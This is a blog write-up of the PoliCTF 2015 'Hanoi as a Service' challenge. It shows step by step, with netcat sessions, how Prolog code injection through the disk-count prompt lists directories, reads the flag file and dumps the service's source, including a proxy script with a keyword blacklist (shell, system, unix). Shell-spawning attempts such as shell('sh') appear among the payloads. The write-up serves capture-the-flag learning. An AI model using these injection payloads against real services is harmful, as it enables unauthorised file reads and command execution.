Sunday, July 12, 2015

Writeup: HAAS (hanoi as a service) @ PoliCTF 2015


Let's try it.
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1
* Move top disk from a to b
Now we try some non-expected characters.
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
a
ERROR: Prolog initialisation failed:
ERROR: 
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
'
ERROR: Prolog initialisation failed:
ERROR: Syntax error: End of file in quoted string
ERROR: hanoi(')
ERROR: ** here **
ERROR:
It seems that we can do command injection here. 

Time to take a quick learning course at http://www.swi-prolog.org/pldoc/man?section=builtin

Let's discover how can we inject something without error. After seeing couple of prolog examples and trial and error we got this.
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),write('test'),nl%
* Move top disk from a to b
test
So, that's it. First part "1)" closes hanoi call and last part "%" comments the real rest of hanoi call. In between we can inject our statements. 

Maybe we could execute shell?
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),shell('sh'),nl%
Sorry, that's not implemented!
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),system('sh'),nl%
Nice try...
Nah, seems it's blacklisted or something.

So the idea is to read flag file and print it.

Flag is usually in file called "flag".
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),open('flag',read,str),read(str,m),write(m),nl%
* Move top disk from a to b
ERROR: Prolog initialisation failed:
ERROR: open/3: source_sink `flag' does not exist (No such file or directory)
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),open('/home/haas/flag',read,str),read(str,m),write(m),nl%
* Move top disk from a to b
ERROR: Prolog initialisation failed:
ERROR: open/3: source_sink `/home/haas/flag' does not exist (No such file or directory)
It seems we'll have to get listing first in order to find flag file. There's a "ls" statement which can be used for this.
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),ls,nl%
* Move top disk from a to b
bin/            initrd.img      mnt/            run/            usr/
boot/           lib/            netdumps/       sbin/           var/
dev/            lib64/          opt/            srv/            vmlinuz
etc/            lost+found/     proc/           sys/           
home/           media/          root/           tmp/            
After that we should use working_directory to switch current directory and do another ls under home and so on ...
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),working_directory(CWD,'/home'),ls,nl%
* Move top disk from a to b
ctf/      ubuntu/   
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),working_directory(CWD,'/home/ctf'),ls,nl%
* Move top disk from a to b
haas/   
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),working_directory(CWD,'/home/ctf/haas'),ls,nl%
* Move top disk from a to b
haas                      haas-proxy.py             jhknsjdfhef_flag_here
Ok, so that's the file name - jhknsjdfhef_flag_here.
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),open('/home/ctf/haas/jhknsjdfhef_flag_here',read,Str),read(Str,m),close(Str),write(m),nl%
* Move top disk from a to b
ERROR: /home/ctf/haas/jhknsjdfhef_flag_here:1:
	Prolog initialisation failed:
	/home/ctf/haas/jhknsjdfhef_flag_here:1: Syntax error: Unexpected end of file
Damn it. Google says that we have to use at_end_of_stream(Str) somewhere, but I didn't manage to get it so I've switched to another method.
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),use_module(library(readutil)),open('/home/ctf/haas/jhknsjdfhef_flag_here',read,Str),read_line_to_codes(Str,Line),write(Line),nl%
* Move top disk from a to b
[102,108,97,103,123,80,114,48,103,114,97,109,109,49,110,103,95,105,110,95,108,48,103,49,99,95,49,115,95,99,48,48,108,125]
Let's convert those numbers into characters.
C:\Users\fstipanovic>python
Python 2.7.8 (default, Jun 30 2014, 16:08:48) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> a = [102,108,97,103,123,80,114,48,103,114,97,109,109,49,110,103,95,105,110,95,108,48,103,49,99,95,49,115,95,99,48,48,108,125]
>>> b = ""
>>> for c in a:
...     b += chr(c)
...
>>> print b
flag{Pr0gramm1ng_in_l0g1c_1s_c00l}
That's the flag.

I wanted to take a look at challenge source codes and this was a way to get them.
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),listing,nl%
* Move top disk from a to b
dohanoi(0, _, _, _) :- !.
dohanoi(A, C, E, D) :- !,
	B is A+ -1,
	dohanoi(B, C, D, E),
	moveit(C, E),
	dohanoi(B, D, E, C).
hanoi(A) :-
	A<15 br="">	dohanoi(A, a, b, c).
hanoi(A) :-
A>=15, write('Hey, this problem is too big for my poor mind...'), nl. :- multifile prolog_clause_name/2. :- dynamic prolog_exception_hook/4. :- multifile prolog_exception_hook/4. prolog_exception_hook(error(A, context(D, B)), error(A, context(prolog_stack(I), B)), G, C) :-     prolog_stack:     (   (   C==none ->  stack_guard(none) ;   prolog_frame_attribute(C, predicate_indicator, E),    debug(backtrace,  'Got exception ~p (Ctx0=~p, Catcher=~p)',  [A, D, E]),    stack_guard(E) ), (   current_prolog_flag(backtrace_depth, F) ->  F>0 ;   F=20 ), get_prolog_backtrace(G, F, H), debug(backtrace, 'Stack = ~p', [H]), clean_stack(H, I)     ). :- dynamic resource/3. :- multifile resource/3. first(A, [A|_]). :- multifile prolog_list_goal/1. :- thread_local thread_message_hook/3. :- dynamic thread_message_hook/3. :- volatile thread_message_hook/3. :- multifile prolog_predicate_name/2. moveit(A, B) :- print('* Move top disk from '), print(A), print(' to '), print(B), nl. main :- A=[104, 97, 110, 111, 105, 40], D=[41], write('Welcome to the Hanoi-as-a-Service cloud platform!'), nl, write('How many disks does your tower have?'), nl, read_line_to_codes(user_input, B), append(A, B, C), append(C, D, E), string_to_atom(E, F), read_term_from_atom(F, G, []), call(G), halt(0). :- multifile message_property/2.
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),use_module(library(readutil)),open('/home/ctf/haas/haas-proxy.py',read,Str),read_stream_to_codes(Str,Line),write(Line),nl%
* Move top disk from a to b
[35,33,47,117,115,114,47,98,105,110,47,101,110,118,...]
fritz@fritz-virtual-machine:~/ctf/polictf$ python
Python 2.7.8 (default, Oct 20 2014, 15:05:19)
[GCC 4.9.1] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> a = ...
>>> b = ""
>>> for c in a:
...     b += chr(c)
...
>>> print b
#!/usr/bin/env python
import subprocess
import sys
import os
import threading
import random
def stdinreader():
    while True:
        try:
            l = sys.stdin.readline()
        except KeyboardInterrupt:
            break
        if not l:
            break
        yield l
class Proxy:
    def __init__(self, blacklist, phrases, args):
        self.blacklist = blacklist
        self.phrases = phrases
        try:
            self.chld = subprocess.Popen(args, stdin=subprocess.PIPE)
        except OSError:
            print "Error starting the haas process."
            sys.exit(1)
    def is_allowed(self, l):
        return reduce(lambda x,y: x and y, [x not in l for x in self.blacklist], True)
    def listen(self):
        for line in stdinreader():
            if self.chld.poll() is None:
                if self.is_allowed(line):
                    self.chld.communicate(line)
                else:
                    print random.choice(self.phrases)
                    break
            else:
                return
        self.chld.terminate()
    def run(self):
        t = threading.Thread(target=self.listen)
        t.daemon = True
        t.start()
        self.chld.wait()
if __name__ == '__main__':
    bl = ['shell','unix','system','cd','argv']
    phrases = ['Nice try...', 'Nope.', 'What are you trying to do?!?', "Sorry, that's not implemented!"]
    ex = os.path.join(os.path.dirname(os.path.realpath(__file__)), "haas")
    if len(sys.argv) == 2:
        ex = sys.argv[1]
    proxy = Proxy(bl, phrases, [ex])
    proxy.run()
So we were right. Shell, unix and system were blacklisted.

No comments:

Post a Comment